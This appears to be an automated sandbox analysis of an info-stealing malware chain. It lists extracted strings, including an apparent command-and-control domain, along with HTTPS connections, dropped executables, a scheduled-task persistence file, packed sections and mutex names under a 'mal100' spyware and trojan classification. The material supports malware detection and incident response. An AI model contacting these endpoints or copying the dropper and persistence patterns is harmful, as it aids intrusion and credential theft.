Source: 376a884392.exe, 0000000C.00000003.2537109395.0000000005838000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2534674508.0000000005834000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2573226005.0000000005838000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2532877527.0000000005830000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2505763688.0000000005832000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2507822969.0000000005836000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2507729465.0000000005834000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2504614399.000000000582F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2536727617.0000000005836000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2536017512.0000000005834000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/s
Source: 376a884392.exe.exe, 0000001A.00000003.2900363212.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2917030280.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/t
Source: 376a884392.exe, 0000000C.00000003.2478621738.000000000581A000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2478318530.000000000581A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/uR
Source: 376a884392.exe.exe, 0000001A.00000003.3150907324.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029567766.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz:443/api
Source: 376a884392.exe.exe, 0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz:443/apil
Source: 376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: 376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 376a884392.exe, 0000000C.00000003.2510185054.00000000058AA000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2916206722.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 376a884392.exe.exe, 0000001A.00000003.2918876458.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: 376a884392.exe.exe, 0000001A.00000003.2918876458.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: 376a884392.exe.exe, 0000001A.00000003.2918876458.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 376a884392.exe, 0000000C.00000003.2510414091.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, 91a3357555.exe, 00000011.00000003.3099416155.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2918876458.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 897a67bb94.exe, 00000019.00000003.2806671087.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000002.2918200578.00000000012B8000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2775966474.000000000111F000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2858559461.000000000111F000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2860243675.000000000111F000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2830183511.00000000012B8000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2824340013.00000000012B8000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000002.2915324446.000000000111F000.00000004.00000020.00020000.00000000.sdmp, 897a67bb94.exe, 00000019.00000003.2809320442.000000000111F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 172.67.177.250:443 -> 192.168.2.8:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50038 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Binary is likely a compiled AutoIt script file

Source: 897a67bb94.exe, 00000019.00000000.2548863644.0000000000BD2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_1a6000ad-b
Source: 897a67bb94.exe, 00000019.00000000.2548863644.0000000000BD2000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_85263acd-9

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.7.dr	Static PE information: section name:
Source: random[2].exe.7.dr	Static PE information: section name: .idata
Source: 4007342d09.exe.7.dr	Static PE information: section name:
Source: 4007342d09.exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name:
Source: 26624fe56e.exe.7.dr	Static PE information: section name:
Source: 26624fe56e.exe.7.dr	Static PE information: section name: .idata
Source: 26624fe56e.exe.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe1.7.dr	Static PE information: section name:
Source: random[1].exe1.7.dr	Static PE information: section name: .idata
Source: random[1].exe1.7.dr	Static PE information: section name:
Source: random[2].exe2.7.dr	Static PE information: section name:
Source: random[2].exe2.7.dr	Static PE information: section name: .idata
Source: random[2].exe2.7.dr	Static PE information: section name:
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name:
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name: .idata
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name:
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name:
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name: .idata
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name:
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name: .idata
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: 9_2_00BA6FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

9_2_00BA6FAA

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D278BB	0_2_00D278BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D27049	0_2_00D27049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D28860	0_2_00D28860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF81D3	0_2_00DF81D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D231A8	0_2_00D231A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF7B6E	0_2_00DF7B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE4B30	0_2_00CE4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE4DE0	0_2_00CE4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D22D10	0_2_00D22D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2779B	0_2_00D2779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D17F36	0_2_00D17F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009B78BB	2_2_009B78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009B7049	2_2_009B7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009B8860	2_2_009B8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009B31A8	2_2_009B31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00974B30	2_2_00974B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00974DE0	2_2_00974DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009B2D10	2_2_009B2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009B779B	2_2_009B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009A7F36	2_2_009A7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009B78BB	3_2_009B78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009B7049	3_2_009B7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009B8860	3_2_009B8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009B31A8	3_2_009B31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00974B30	3_2_00974B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00974DE0	3_2_00974DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009B2D10	3_2_009B2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009B779B	3_2_009B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009A7F36	3_2_009A7F36
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BA848E	9_2_00BA848E
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB00B7	9_2_00BB00B7
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB4088	9_2_00BB4088
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BA40FE	9_2_00BA40FE
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BC51C9	9_2_00BC51C9
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB7153	9_2_00BB7153
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BA32F7	9_2_00BA32F7
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB62CA	9_2_00BB62CA
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB43BF	9_2_00BB43BF
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BAC426	9_2_00BAC426
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BAF461	9_2_00BAF461
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BCD440	9_2_00BCD440
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB77EF	9_2_00BB77EF
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BCD8EE	9_2_00BCD8EE
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BA286B	9_2_00BA286B
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BAE9B7	9_2_00BAE9B7
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BD19F4	9_2_00BD19F4
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB6CDC	9_2_00BB6CDC
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BB3E0B	9_2_00BB3E0B
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BC4F9A	9_2_00BC4F9A
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BAEFE2	9_2_00BAEFE2
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FC90F8	12_3_00FC90F8
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FC90F8	12_3_00FC90F8
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FBC416	12_3_00FBC416
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FC90F8	12_3_00FC90F8
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Code function: 12_3_00FC90F8	12_3_00FC90F8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009880C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0098DF80 appears 36 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00CF80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: String function: 00BBF5F0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: String function: 00BBEC50 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: String function: 00BBEB78 appears 39 times

Source: QIbCILuV.log.16.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: boWaNnOy.log.16.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: KhFvuBjj.log.16.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr

Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: BrokerhostNet.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: MCdUWiJkswOzRL.exe.16.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981905653950953
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981905653950953
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 1.0001672196061644
Source: random[1].exe.7.dr	Static PE information: Section: ubvmxkob ZLIB complexity 0.9945724566850659
Source: 26624fe56e.exe.7.dr	Static PE information: Section: ZLIB complexity 1.0001672196061644
Source: 26624fe56e.exe.7.dr	Static PE information: Section: ubvmxkob ZLIB complexity 0.9945724566850659
Source: random[1].exe0.7.dr	Static PE information: Section: ZLIB complexity 0.9968763377568494
Source: random[1].exe0.7.dr	Static PE information: Section: ghqbbjwf ZLIB complexity 0.9945880214563397
Source: random[1].exe1.7.dr	Static PE information: Section: adligwjc ZLIB complexity 0.9949967574275903
Source: random[2].exe1.7.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe1.7.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 76b7b2c16d.exe.7.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 76b7b2c16d.exe.7.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe2.7.dr	Static PE information: Section: slztyuaa ZLIB complexity 0.9945479847801578
Source: 9e7ab8eefc.exe.7.dr	Static PE information: Section: slztyuaa ZLIB complexity 0.9945479847801578
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: Section: adligwjc ZLIB complexity 0.9949967574275903

Source: QIbCILuV.log.16.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: boWaNnOy.log.16.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: KhFvuBjj.log.16.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@116/109@186/11

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: 9_2_00BA6C74 GetLastError,FormatMessageW,

9_2_00BA6C74

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: 9_2_00BBA6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

9_2_00BBA6C2

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: c:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-jYA8BnJN4l5GER9R0Xjc
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3116:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5172:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1748:120:WilError_03
